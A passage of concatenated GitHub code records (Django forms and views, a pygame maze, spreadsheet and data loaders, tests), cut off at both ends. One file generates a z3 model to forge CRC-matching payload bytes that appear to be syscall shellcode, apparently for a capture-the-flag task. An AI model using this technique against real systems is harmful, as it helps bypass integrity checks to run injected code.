write_config(settings.fire_mask, settings.for_date, settings.lat, settings.lon, settings.for_time, settings.outbase, settings.override_size, settings)\r\n t0 = timeit.default_timer()\r\n run(scenario, settings.args)\r\n t1 = timeit.default_timer()\r\n logging.info(\"Took {}s to run fire\".format(t1 - t0))\r\n\r\nif __name__ == \"__main__\":\r\n doRun()\r\n","repo_name":"ongov/FireGUARD","sub_path":"FireSTARR/runfake.py","file_name":"runfake.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"12501173529","text":"from django import forms\nfrom .models import Employee\n\nclass EmployeeForm(forms.ModelForm):\n\n class Meta:\n model = Employee\n fields = ('empFullName','mobile','emp_code','position')\n labels = {\n 'empFullName':'Employee Full Name',\n 'mobile':'Employee Mobile No',\n 'emp_code':'Employee Code',\n 'position':'Employee Designation'\n }\n def __init__(self, *args, **kwards):\n super(EmployeeForm,self).__init__(*args, **kwards)\n self.fields['position'].empty_label = 'Select Designation'\n self.fields['emp_code'].required = False\n","repo_name":"AM2397/employee_project","sub_path":"employee_register/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37303463104","text":"\n# required to implement abstract classes\nfrom abc import ABC, abstractmethod \nfrom cursor import sqlCursor\nfrom AuthenticationManager import AuthenticationManager\n\n#from SessionManager import SessionManager\nclass User:\n # base class representing shared data amongst al users\n # each specific type of User must implement the services available to them in their own class\n def __init__(self, uType, name):\n self.userType = uType\n self.fullname = name\n @abstractmethod\n def getUserType(self):\n # each user must be able to reveal its type\n return \n @abstractmethod\n def getUserFullName(self):\n # each user must be able to reveal its fullname\n return \n \n @abstractmethod\n def accessUserServices(self):\n # show the services available for a specific user, implmented differently by each possible user\n pass\n\n def displayFormattedQueryResponse(self, queryResponse, start, end, columnTitles):\n maxLength = 20\n for title in columnTitles:\n i = len(title)\n print(\" | \", end=\"\")\n print (title, end=\"\")\n for j in range(maxLength - i):\n print(\" \", end=\"\")\n print(\" | \")\n\n for tuples in queryResponse:\n for k in range((maxLength + 3) * len(tuples) + 3):\n print(\"-\", end=\"\")\n print(\"\")\n print(\" | \", end=\"\")\n for col in range(start, end + 1):\n i = len(str(tuples[col]))\n print(tuples[col], end=\"\")\n for j in range(maxLength - i):\n print(\" \", end=\"\")\n print(\" | \", end=\"\")\n print(\"\")\n\n # this method has the same behaviour for everyprint\n print(\"\\n\")\n @staticmethod\n def getUserCity():\n #pass in created uid and pwd\n cursor = sqlCursor.get_instance().get_cursor()\n try:\n cursor.execute(\"SELECT city FROM users WHERE uid=:uid AND pwd=:pwd\",{'uid':AuthenticationManager.validUid,'pwd':AuthenticationManager.validPassword})\n except sqlCursor.get_error() as e:\n print(\"error when retieving the user's city from the database\")\n return\n return cursor.fetchone()[0]\n \n","repo_name":"BZEEE/CMPUT291_MiniGroupProject1","sub_path":"User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":2264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26603743464","text":"print('=== Program Tabel Unsur Periodik ===')\nproton=[]\nsimbol=[]\nnama=[]\nwith open('tabel periodik.txt','r') as ft:\n for unsur in ft.readlines():\n x=unsur.split()\n proton.append(x[0])\n simbol.append(x[1].lower())\n nama.append(x[2].lower())\n\ntry:\n x=input('Masukan lambang atom/jumlah proton atom\\t:').lower()\n\n if x.isalpha():\n for i in range(len(nama)):\n if x==nama[i]:\n print('jumlah proton',x,'=',proton[i])\n\n for i in range(len(simbol)):\n if x==simbol[i]:\n print('jumlah proton',x,'=',proton[i])\n\n elif x.isdigit():\n x=int(x)\n print('(',simbol[x-1],')',nama[x-1],':jumlah proton =',proton[x-1])\nexcept:\n print (\"Nilai yang anda masukkan tidak sesuai dengan unsur manapun.\")\n\n\n\n\n","repo_name":"hanzaa/Pemrograman-Dasar-Menggunakan-Python","sub_path":"lpr59_tabelPeriodik.py","file_name":"lpr59_tabelPeriodik.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3790867511","text":"# rdrand-tmpfs-writer.py :\n#\n# pre-requesites:\n# root# easy_install rdrand\n#\n# this script, specifically, will write 256000000 characters to stdout. use:\n#\n# ../rdrand-tmpfs-writer.py > /tmp/foo/rdrand.out \n#\n# or so.\n#\n# And if you're using NIST software, it's 1000000 bits per bitstream, 256 bitstreams. Assess that.\n#\n# Further, I'll unpatiently add, only works on python2 if you use easy_install on gentoo.\n\nfrom rdrand import RdRandom\nimport sys\nr = RdRandom()\ni=0\n\nnumstreams=256\nnumbits=1000000\nbitsperfetch=10000\n\nwhile i < numbits/bitsperfetch :\n i=i+1\n bytte = r.getrandbytes(numstreams*bitsperfetch)\n sys.stdout.write(bytte)\n# binpk = format(bytte,'c')\n# print(binpk),\n# binar = format(bytte,'b')\n# print(binar)\n# print(format(r.getrandbits(8),'c')),\n\nsys.stdout.flush()\n","repo_name":"genewitch/cloud-scripts","sub_path":"rdrand-tmpfs-writer.py","file_name":"rdrand-tmpfs-writer.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"41514238471","text":"import pygame\nimport random\n\n\n\n#Variables y definiciones\n\nRojo = [255, 0, 0]\nNegro = [0, 0, 0]\nVerde = [0, 255, 0]\nAzul = [0, 0, 255]\nNegro = [0, 0, 0]\nGris = [191, 189, 191]\nBlanco = [255, 255, 255]\nfin = 0\nclock = 50\n\n# clases\n\n\nclass Jugador(pygame.sprite.Sprite):\n\tdef __init__(self):\n\t\tpygame.sprite.Sprite.__init__(self)\n\t\tself.image = pygame.Surface([30,30])\n\t\tself.image.fill(Verde)\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = 50\n\t\tself.rect.y = 150\n\n\t\tself.vel_x = 0\n\t\tself.vel_y = 0\n\n\tdef update(self):\n\t\t# self.rect.x += self.vel_x\n\n\t\tself.rect.x += self.vel_x\n\t\tself.rect.y += self.vel_y\n\n\nclass Enemigo(pygame.sprite.Sprite):\n\tdef __init__(self):\n\t\tpygame.sprite.Sprite.__init__(self)\n\t\tself.image = pygame.Surface([30,30])\n\t\tself.image.fill(Rojo)\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = ancho-30\n\t\tself.rect.y = alto-30\n\t\tself.vel_x = -5\n\t\tself.vel_y = 0\n\n\tdef update(self):\n\t\tself.rect.x += self.vel_x\n\t\tself.rect.y += self.vel_y\n\n\nclass Muro(pygame.sprite.Sprite,):\n\tdef __init__(self, anchoM, altoM, pos):\n\t\tpygame.sprite.Sprite.__init__(self)\n\t\tself.image = pygame.Surface([anchoM, altoM])\n\t\tself.image.fill(Blanco)\n\t\tself.rect = self.image.get_rect()\n\t\tself.rect.x = pos[0]\n\t\tself.rect.y = pos[1]\n\n\n\n\nif __name__ == '__main__':\n\talto = 480\n\tancho = 600\n\tpygame.init()\n\tpantalla = pygame.display.set_mode([1000, 1000])\n\tpygame.display.flip()\n\treloj = pygame.time.Clock()\n\n\t\n\tcentro = (ancho/2, alto/2)\n\n\n\t#Grupos\n\n\tjugadores = pygame.sprite.Group()\n\tmuros = pygame.sprite.Group()\n\tenemigos = pygame.sprite.Group()\n\ttodos = pygame.sprite.Group()\n\n\n\t# Objetos\n\n\tjugador = Jugador()\n\tjugadores.add(jugador)\n\ttodos.add(jugador)\n\n\tenemigo = Enemigo()\n\tenemigos.add(enemigo)\n\ttodos.add(enemigo)\n\n\t#Muros del borde\n\tm1 = Muro(ancho, 10, [0,-10])\n\tm2 = Muro(10, alto, [-10,0])\n\tm3 = Muro(10, alto, [ancho,0])\n\tm4 = Muro(ancho, 10, [0,alto])\n\tmuros.add(m1, m2, m3, m4)\n\n\t#Muros del laberinto\n\n\tml1 = Muro(100, 300, [100, 100])\n\tml2 = Muro(500, 30, [200, 300])\n\tml3 = Muro(100, 200, [400, 20])\n\tmuros.add(ml1, ml2, ml3)\n\t\n\n\n\ttodos.add(muros)\n\n\t#Enemigo softbot\n\n\n\n\n\t#CICLO PRINCIPAL\n\twhile not fin:\n\n\t\t#Gestion de eventos\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\tfin = True\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_RIGHT:\n\t\t\t\t\tjugador.vel_x = 5\n\t\t\t\t\tjugador.vel_y = 0\n\t\t\t\tif event.key == pygame.K_LEFT:\n\t\t\t\t\tjugador.vel_x = -5\n\t\t\t\t\tjugador.vel_y = 0\n\t\t\t\tif event.key == pygame.K_DOWN:\n\t\t\t\t\tjugador.vel_y = 5\n\t\t\t\t\tjugador.vel_x = 0\n\t\t\t\tif event.key == pygame.K_UP:\n\t\t\t\t\tjugador.vel_y = -5\n\t\t\t\t\tjugador.vel_x = 0\n\t\t\t\t\t\n\t\t\tif event.type == pygame.KEYUP:\n\t\t\t\tjugador.vel_x = 0\n\t\t\t\tjugador.vel_y = 0\n\n\n\t\t#Logica del juego\n\n\n\n\n\t\t#Colisiones con los muros\n\t\tls_col = pygame.sprite.spritecollide(jugador, muros, False)\n\t\tfor m in ls_col:\n\t\t\tif (jugador.vel_x > 0) and jugador.rect.right >= m.rect.left:\n\t\t\t\tjugador.vel_x = 0\n\t\t\t\tjugador.rect.right = m.rect.left\n\n\t\t\tif (jugador.vel_x < 0) and jugador.rect.left <= m.rect.right:\n\t\t\t\tjugador.vel_x = 0\n\t\t\t\tjugador.rect.left = m.rect.right\n\n\t\t\tif (jugador.vel_y > 0) and jugador.rect.bottom >= m.rect.top:\n\t\t\t\tjugador.vel_y = 0\n\t\t\t\tjugador.rect.bottom = m.rect.top\n\t\t\t\t\n\t\t\tif (jugador.vel_y < 0) and jugador.rect.top <= m.rect.bottom:\n\t\t\t\tjugador.vel_y = 0\n\t\t\t\tjugador.rect.top = m.rect.bottom\n\n\t\tls_col_enemigo = pygame.sprite.spritecollide(enemigo, muros, False)\n\t\tfor m in ls_col_enemigo:\n\t\t\tif (enemigo.vel_x > 0) and enemigo.rect.right >= m.rect.left:\n\t\t\t\tenemigo.vel_x = 0\n\t\t\t\tenemigo.vel_y = 5\n\t\t\t\tenemigo.rect.right = m.rect.left\n\n\t\t\telif (enemigo.vel_x < 0) and enemigo.rect.left <= m.rect.right:\n\t\t\t\tenemigo.vel_x = 0\n\t\t\t\tenemigo.vel_y = -5\n\t\t\t\tenemigo.rect.left = m.rect.right\n\n\t\t\telif (enemigo.vel_y > 0) and enemigo.rect.bottom >= m.rect.top:\n\t\t\t\tenemigo.vel_y = 0\n\t\t\t\tenemigo.vel_x = -5\n\t\t\t\tenemigo.rect.bottom = m.rect.top\n\t\t\t\t\n\t\t\telif (enemigo.vel_y < 0) and enemigo.rect.top <= m.rect.bottom:\n\t\t\t\tenemigo.vel_y = 0\n\t\t\t\tenemigo.vel_x = 5\n\t\t\t\tenemigo.rect.top = m.rect.bottom\n\n\t\t#Refresco de pantalla\n\t\ttodos.update()\n\t\tpantalla.fill(Negro)\n\n\t\ttodos.draw(pantalla)\n\n\t\tpygame.display.flip()\t\n\t\treloj.tick(clock)\t\t\n","repo_name":"mhdelta/RealityMess","sub_path":"11/juego3.py","file_name":"juego3.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21022222030","text":"from src.main import process_input\nimport pandas as pd\nfrom pandas.util.testing import assert_frame_equal\nimport numpy as np\n\n\ndef test_process_input_calculation():\n \"\"\"\n Unit test to showcase functionality of data transformation\n \"\"\"\n test_data = pd.DataFrame(columns=['loan_amnt', 'term', 'int_rate', 'installment',\n 'grade', 'emp_length', 'home_ownership', 'annual_inc',\n 'verification_status', 'purpose', 'dti', 'delinq_2yrs',\n 'earliest_cr_line', 'open_acc', 'pub_rec', 'revol_bal',\n 'revol_util', 'total_acc', 'initial_list_status',\n 'application_type', 'mort_acc', 'pub_rec_bankruptcies'])\n\n test_data.loc[0] = pd.Series({'loan_amnt': 25000,\n 'term': '60 months',\n 'int_rate': '12.00%',\n 'installment': 600,\n 'grade': 'C',\n 'emp_length': '< 1 year',\n 'home_ownership': 'RENT',\n 'annual_inc': 45000,\n 'verification_status': 'Not Verified',\n 'purpose': 'small_business',\n 'dti': 14.00,\n 'delinq_2yrs': 2,\n 'earliest_cr_line': 'Jul-06',\n 'open_acc': 10,\n 'pub_rec': 1,\n 'revol_bal': 18000,\n 'revol_util': '70%',\n 'total_acc': 15,\n 'initial_list_status': 'w',\n 'application_type': 'Individual',\n 'mort_acc': 0,\n 'pub_rec_bankruptcies': 1})\n\n test_data = process_input(test_data)\n test_data['pub_rec'] = test_data['pub_rec'].astype('object')\n test_data['pub_rec_bankruptcies'] = test_data['pub_rec_bankruptcies'].astype('object')\n\n expected = pd.DataFrame().reindex_like(test_data)\n expected.loc[0] = [25000, 60, 12.00, 'C', 0, 'RENT', 'Not Verified', 'small_business',\n 14.0, 2, 2006, 10, 'At least one', 70.0, 15, 'w', 'Individual', 0,\n 'At least one', np.log(45001), np.log(601), np.log(18001)]\n\n assert_frame_equal(test_data, expected, check_dtype=False)\n","repo_name":"ZhuLeon/Loan-Default-Prediction","sub_path":"src/tests/test_process_input.py","file_name":"test_process_input.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"26221895273","text":"\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom django.conf import settings\n\nfrom orders.models import OrderInfo\nfrom users.models import User\nfrom datetime import timedelta\nfrom django.utils import timezone\n\nimport pytz\n\nclass HomeView(ViewSet):\n\n @action(methods=['get'], detail=False)\n def total_count(self, request):\n # 1、计算用户数量和日期\n count = User.objects.count()\n date = timezone.now().date()\n # 2、构建响应数据\n return Response({\n \"count\": count,\n \"date\": date\n })\n\n @action(methods=['get'], detail=False)\n def day_increment(self, request):\n # 用户新建的日期，大于等于\"当日\"的\"零点零分零秒\"\n # 就是当日新增\n\n # 1、获取当日的零时: 上海的零时\n # 时间类：年，月，日，时，分，秒，时区\n\n # 2019-08-03 08:09:26.987697 +00:00\n cur_date = timezone.now()\n\n # 2019-08-03 16:09:26.987697 +08:00\n shanghai_date = cur_date.astimezone(tz=pytz.timezone(settings.TIME_ZONE))\n\n # 上海的零时\n # 2019-08-03 00:00:00.000000 +08:00\n shanghai_0_date = shanghai_date.replace(hour=0, minute=0, second=0, microsecond=0)\n\n # 2、根据当日零时，过滤用户表\n count = User.objects.filter(date_joined__gte=shanghai_0_date).count()\n\n return Response({\n \"count\": count,\n \"date\": shanghai_0_date.date() # 2019-8-3\n })\n\n @action(methods=['get'], detail=False)\n def day_active(self, request):\n # 1、获取当日零点\n local_0_time = timezone.now().astimezone(tz=pytz.timezone(settings.TIME_ZONE))\\\n .replace(hour=0, minute=0, second=0, microsecond=0)\n\n # 2、过滤最后登陆日期大于等于当日零点\n count = User.objects.filter(last_login__gte=local_0_time).count()\n\n # 3、返回\n return Response({\n \"count\": count,\n \"date\": local_0_time.date()\n })\n\n @action(methods=['get'], detail=False)\n def day_orders(self, request):\n # 统计今天下单的用户数量\n # 已知条件：今天的零点（订单的创建时间） --> 从表的已知条件\n # 目标数据：用户数量 --> 主表数据\n\n # 1、统计出今天下的订单\n local_0_time = timezone.now().astimezone(tz=pytz.timezone(settings.TIME_ZONE))\\\n .replace(hour=0, minute=0, second=0, microsecond=0)\n\n # 从从表入手\n # 2.1、找出今天下的所有订单\n # order_queryset = OrderInfo.objects.filter(create_time__gte=local_0_time)\n # 2.2 取出每个从表对象关联的主表，并统计主表数据\n # user_list = []\n # for order in order_queryset:\n # order是单一的订单对象\n # user_list.append(order.user)\n # count = len(set(user_list))\n\n # 从主表入手\n user_queryset = User.objects.filter(orders__create_time__gte=local_0_time)\n count = len(set(user_queryset))\n\n # 3、返回\n return Response({\n \"count\": count,\n \"date\": local_0_time.date()\n })\n\n @action(methods=['get'], detail=False)\n def month_increment(self, request):\n # 统计最近30天，每一天新增用户\n # 1、当天的时间点\n # 2019-8-3 0:0:0\n cur_0_time = timezone.now().astimezone(pytz.timezone(settings.TIME_ZONE))\\\n .replace(hour=0, second=0, minute=0, microsecond=0)\n # 2、起始时间点\n # 起始时间点 = 当天的时间点 - （统计天数 - 一天）\n begin_0_time = cur_0_time - timedelta(days=29)\n\n calc_list = []\n for index in range(30):\n # calc_0_time：30天中的某一天\n calc_0_time = begin_0_time + timedelta(days=index)\n\n count = User.objects.filter(date_joined__gte=calc_0_time,\n date_joined__lt=calc_0_time+timedelta(days=1)).count()\n\n\n calc_list.append({\n \"count\": count,\n \"date\": calc_0_time.date()\n })\n\n return Response(calc_list)\n\n\n\n\n\n","repo_name":"860700414/meiduo","sub_path":"meiduo_mall/apps/meiduo_admin/views/home_views.py","file_name":"home_views.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35595670943","text":"import xlsxwriter\nfrom datetime import datetime\n\n\ndef create_roster(employee, hotel, time_data, entries, date_data):\n workbook = xlsxwriter.Workbook('specsheet.xlsx')\n current_datetime = datetime.today().date().timetuple()\n str_current_datetime = str(current_datetime)\n a__ = datetime.now()\n a_ = a__.strftime(\"%a, %d %b %Y %H-%M-%S\")\n\n worksheet = workbook.add_worksheet()\n\n header = workbook.add_format(\n {'align': 'center', 'font_size': 13, 'font': 'Arial', 'bold': True, 'bottom': 1, 'top': 1, 'right': 1,\n 'left': 1, 'border_color': '#2C3333',\n 'bg_color': '#47A992', 'font_color': '#F9FBE7'})\n\n header2 = workbook.add_format(\n {'align': 'center', 'font_size': 13, 'font': 'Arial', 'bold': True, 'bottom': 1, 'top': 1, 'right': 1,\n 'left': 1, 'border_color': '#2C3333',\n 'bg_color': '#1B9C85', 'font_color': '#F9FBE7'})\n\n subH = workbook.add_format(\n {'align': 'center', 'font_size': 9, 'font': 'Arial', 'bold': True, 'bottom': 1, 'top': 1, 'right': 1, 'left': 1,\n 'border_color': '#2C3333',\n 'bg_color': '#99A98F'})\n\n roster_color = {'Off': '#16FF00', 'Absent': '#FF0303', 'Sick': '#FFED00', 'Vacation': '#82CD47',\n 'Public Holiday': '#146C94', 'Office': '#83764F'}\n\n font_color__ = {'Off': '#F9FBE7', 'Absent': '#F9FBE7', 'Sick': '#000000', 'Vacation': '#000000',\n 'Public Holiday': '#F9FBE7', 'Office': '#F9FBE7'}\n\n def absents_color(absent):\n color__ = roster_color[str(absent)]\n f_color = font_color__[str(absent)]\n subH_color = workbook.add_format(\n {'align': 'center', 'font_size': 9, 'font': 'Arial', 'bold': True, 'bottom': 1, 'top': 1, 'right': 1,\n 'left': 1,\n 'border_color': '#2C3333',\n 'bg_color': color__, 'font_color': f_color})\n\n return subH_color\n\n subH_blank = workbook.add_format(\n {'align': 'center', 'font_size': 9, 'font': 'Arial', 'bold': True, 'bottom': 1, 'top': 1, 'right': 1, 'left': 1,\n 'border_color': '#2C3333',\n 'bg_color': '#F0EDD4'})\n\n column_width = [{'name': 'A:A', 'size': 5}, {'name': 'B:B', 'size': 9}, {'name': 'C:C', 'size': 20},\n {'name': 'D:D', 'size': 22},\n {'name': 'E:E', 'size': 25}, {'name': 'F:F', 'size': 12}, {'name': 'G:G', 'size': 10},\n ]\n\n for i in column_width:\n worksheet.set_column(i['name'], i['size'])\n\n # worksheet.write('A1', 'Flow Control Commune Pvt Ltd', )\n worksheet.merge_range('A1:G1', \"DUTY ROSTER\", header)\n worksheet.merge_range('A2:C2', f\"DATE: {date_data[0]}\", header2)\n worksheet.merge_range('D2:G2', f\"{date_data[2]}, {date_data[1]}\", header2)\n worksheet.write('A3', 'S.NO', subH)\n worksheet.write('B3', 'No of Staff', subH)\n worksheet.write('C3', 'STAFF', subH)\n worksheet.write('D3', 'HOTEL', subH)\n worksheet.write('E3', 'DUTY TIME', subH)\n worksheet.write('F3', 'PICK UP TIME', subH)\n worksheet.write('G3', 'REMARK', subH)\n\n for i in range(len(employee)):\n if entries[i].absent == 'none':\n worksheet.write(f'A{4 + i}', i + 1, subH_blank)\n worksheet.write(f'B{4 + i}', i + 1, subH_blank)\n worksheet.write(f'C{4 + i}', employee[i], subH_blank)\n worksheet.write(f'D{4 + i}', hotel[i], subH_blank)\n if time_data[i]['timeIn2'] == '00:00':\n worksheet.write(f'E{4 + i}', f\"{time_data[i]['timeIn1']} - {time_data[i]['timeOut1']}\", subH_blank)\n else:\n worksheet.write(f'E{4 + i}',\n f\"{time_data[i]['timeIn1']} - {time_data[i]['timeOut1']}/{time_data[i]['timeIn2']} - {time_data[i]['timeOut2']}\",\n subH_blank)\n worksheet.write(f'F{4 + i}', f\"{time_data[i]['pickUp']}/{time_data[i]['pickUp2']}\", subH_blank)\n worksheet.write(f'G{4 + i}', entries[i].remark, subH_blank)\n else:\n worksheet.write(f'A{4 + i}', i + 1, subH_blank)\n worksheet.write(f'B{4 + i}', i + 1, subH_blank)\n worksheet.write(f'C{4 + i}', employee[i], subH_blank)\n worksheet.merge_range(f'D{4 + i}:G{4 + i}', entries[i].absent, absents_color(entries[i].absent))\n\n workbook.close()\n","repo_name":"kartheeswaran07v/DFS_HR_APR_2023","sub_path":"roster_sheet.py","file_name":"roster_sheet.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5122898956","text":"import sys, os\nimport lightning\nimport subprocess\nimport struct\n\nTableBytes = [0x90, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x47, 0x74, 0x12, 0xc3, 0x69, 0x18, 0x96]\nEndCRC = 0x3115cda3\n\n#StartCRC is based on GetCRC(0, Payload[0:7]) to save calculation time\nStartCRC = 0x5749f971\n\ndef GenerateSMT(TableBytes):\n\tlightning.GenerateCRCTable()\n\n\tf = open(\"solver.smt\",\"w\")\n\n\t#write the CRC functions out\n\tf.write(\"(define-fun GetCRCEntry ((entry (_ BitVec 32))) (_ BitVec 32)\\n\")\n\tfor i in range(0, 0xfe):\n\t\tf.write(\"\\t(ite (= entry #x%08x) #x%08x\\n\" % (i, lightning.crc_table[i]))\n\tf.write(\"\\t(ite (= entry #x%08x) #x%08x #x%08x\\n\" % (0xfe, lightning.crc_table[0xfe], lightning.crc_table[0xff]))\n\tf.write(\"\\t\" + \")\"*50 + \"\\n\")\n\tf.write(\"\\t\" + \")\"*50 + \"\\n\")\n\tf.write(\"\\t\" + \")\"*50 + \"\\n\")\n\tf.write(\"\\t\" + \")\"*50 + \"\\n\")\n\tf.write(\"\\t\" + \")\"*50 + \"\\n\")\n\tf.write(\"\\t\" + \")\"*5 + \"\\n\")\n\tf.write(\")\\n\")\n\n\tf.write(\"\"\"\n(define-fun GetCRC ((CRC (_ BitVec 32)) (CurByte (_ BitVec 32))) (_ BitVec 32)\n\t(bvxor (GetCRCEntry (bvand (bvxor CRC CurByte) #x000000ff)) (bvlshr CRC #x00000008))\n)\\n\"\"\")\n\n\tf.write(\"\"\"\n(declare-const StartCRC (_ BitVec 32))\n(declare-const EndCRC (_ BitVec 32))\n(assert (= StartCRC #x%08x))\n(assert (= EndCRC #x%08x))\n\n(declare-const TableStartCRC (_ BitVec 32))\n(declare-const TableEndCRC (_ BitVec 32))\\n\\n\"\"\" % (StartCRC, EndCRC))\n\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #xf0000000) #x00000000)))\n(assert (not (= (bvand TableEndCRC #xf0000000) #x00000000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #xff000000) #x00000000)))\n(assert (not (= (bvand TableEndCRC #xff000000) #x00000000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x00ff0000) #x00000000)))\n(assert (not (= (bvand TableEndCRC #x00ff0000) #x00000000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x0000ff00) #x00000000)))\n(assert (not (= (bvand TableEndCRC #x0000ff00) #x00000000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x000000ff) #x00000000)))\n(assert (not (= (bvand TableEndCRC #x000000ff) #x00000000)))\\n\\n\"\"\");\n\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #xff000000) #xff000000)))\n(assert (not (= (bvand TableEndCRC #xff000000) #xff000000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x00ff0000) #x00ff0000)))\n(assert (not (= (bvand TableEndCRC #x00ff0000) #x00ff0000)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x0000ff00) #x0000ff00)))\n(assert (not (= (bvand TableEndCRC #x0000ff00) #x0000ff00)))\\n\\n\"\"\");\n\tf.write(\"\"\"(assert (not (= (bvand TableStartCRC #x000000ff) #x000000ff)))\n(assert (not (= (bvand TableEndCRC #x000000ff) #x000000ff)))\\n\\n\"\"\");\n\n\tfor i in range(0, 16):\n\t\tf.write(\"(declare-const PayloadByte%02d (_ BitVec 32))\\n\" % (i))\n\n\tfor i in range(0, 16):\n\t\tf.write(\"(declare-const TableByte%02d (_ BitVec 32))\\n\" % (i))\n\n\tfor i in range(7, 16):\n\t\tf.write(\"(declare-const NewCRC%02d (_ BitVec 32))\\n\" % (i))\n\n\tfor i in range(0, 31):\n\t\tf.write(\"(declare-const TableCRC%02d (_ BitVec 32))\\n\" % (i))\n\n\tf.write(\"\"\"\n(assert (= PayloadByte00 #x0000005e))\n(assert (= PayloadByte01 #x00000093))\n(assert (= PayloadByte02 #x00000056))\n(assert (= PayloadByte03 #x00000092))\n(assert (= PayloadByte04 #x0000000f))\n(assert (= PayloadByte05 #x00000005))\n(assert (= PayloadByte06 #x000000c3))\\n\\n\"\"\")\n\n\tfor i in range(0, len(TableBytes)):\n\t\tf.write(\"(assert (= TableByte%02d #x%08x))\\n\" % (i, TableBytes[i]));\n\n\tf.write(\"\\n(assert (= NewCRC07 (GetCRC StartCRC PayloadByte07)))\\n\")\n\n\tfor i in range(8, 15):\n\t\tf.write(\"(assert (= NewCRC%02d (GetCRC NewCRC%02d PayloadByte%02d)))\\n\" % (i, i-1, i))\n\tf.write(\"(assert (= EndCRC (GetCRC NewCRC14 PayloadByte15)))\\n\\n\")\n\n\tf.write(\"(assert (= TableCRC00 (GetCRC TableStartCRC TableByte00)))\\n\")\n\n\tfor i in range(1, 16):\n\t\tf.write(\"(assert (= TableCRC%02d (GetCRC TableCRC%02d TableByte%02d)))\\n\" % (i, i-1, i))\n\n\tfor i in range(16, 31):\n\t\tf.write(\"(assert (= TableCRC%02d (GetCRC TableCRC%02d PayloadByte%02d)))\\n\" % (i, i-1, i-16))\n\n\tf.write(\"\"\"(assert (= TableEndCRC (GetCRC TableCRC30 PayloadByte15)))\n\n(check-sat)\n(get-model)\"\"\")\n\tf.close()\n\nif __name__ == \"__main__\":\n\tGenerateSMT(TableBytes)\n\toutput = subprocess.check_output([\"z3\", \"solver.smt\"])\n\topen(\"solver.output\",\"wb\").write(output)\n\n\tif output[0:3] == b\"sat\":\n\t\toutput = output.split(b\"\\n\")\n\t\tValues = [-1]*4\n\t\tfor i in range(0, len(output)):\n\t\t\tif b\"TableStartCRC\" in output[i]:\n\t\t\t\t(FuncStart, FuncSize) = struct.unpack(\" 0:\n sentiment_label[int(lines[0])] = float(lines[1])\n n += 1\n sentiment_file.close()\n\n logging.info(\"loading #phrase dict\")\n dict_file = open(os.path.join(corpus_path, 'dictionary.txt'), 'r')\n phrase_dict = {}\n for line in dict_file:\n # line = line.decode('utf-8')\n lines = line.strip().split('|')\n phrase_dict[lines[0]] = int(lines[1])\n dict_file.close()\n\n # sentence dict\n logging.info(\"loading #sentence dict\")\n sentence_file = open(os.path.join(corpus_path, 'datasetSentences.txt'), 'r')\n sentence_dict = {}\n n = 0\n for line in sentence_file:\n # line = line.decode('utf-8')\n line = line.replace('-LRB-', '(')\n line = line.replace('-RRB-', ')')\n lines = line.strip().split('\\t')\n if n > 0:\n sentence_dict[int(lines[0])] = lines[1]\n n += 1\n sentence_file.close()\n\n # datasplit\n logging.info(\"loading #datasplit\")\n datasplit_file = open(os.path.join(corpus_path, 'datasetSplit.txt'), 'r')\n split_dict = {}\n n = 0\n for line in datasplit_file:\n lines = line.strip().split(',')\n if n > 0:\n split_dict[int(lines[0])] = int(lines[1])\n n += 1\n datasplit_file.close()\n\n size = len(sentence_dict) \n x_train, y_train_valence, y_train_labels = [], [], []\n x_test, y_test_valence, y_test_labels = [], [], []\n x_valid, y_valid_valence, y_valid_labels = [], [], []\n\n x_train_polarity, y_train_polarity = [], []\n x_test_polarity, y_test_polarity = [], []\n x_valid_polarity, y_valid_polarity = [], []\n\n for i in range(size):\n # print(i)\n sentence = cleanStr(sentence_dict[i + 1])\n\n try:\n senti = sentiment_label[phrase_dict[sentence]]\n except:\n print('Key error!' + sentence)\n continue\n\n # print(senti, sentence)\n labels, polarity = None, None\n if 0 <= senti <= 0.2:\n labels = 1\n polarity = 0\n if 0.2 < senti <= 0.4:\n labels = 2\n polarity = 0\n if 0.4 < senti <= 0.6:\n labels = 3\n if 0.6 < senti <= 0.8:\n labels = 4\n polarity = 1\n if 0.8 < senti <= 1:\n labels = 5\n polarity = 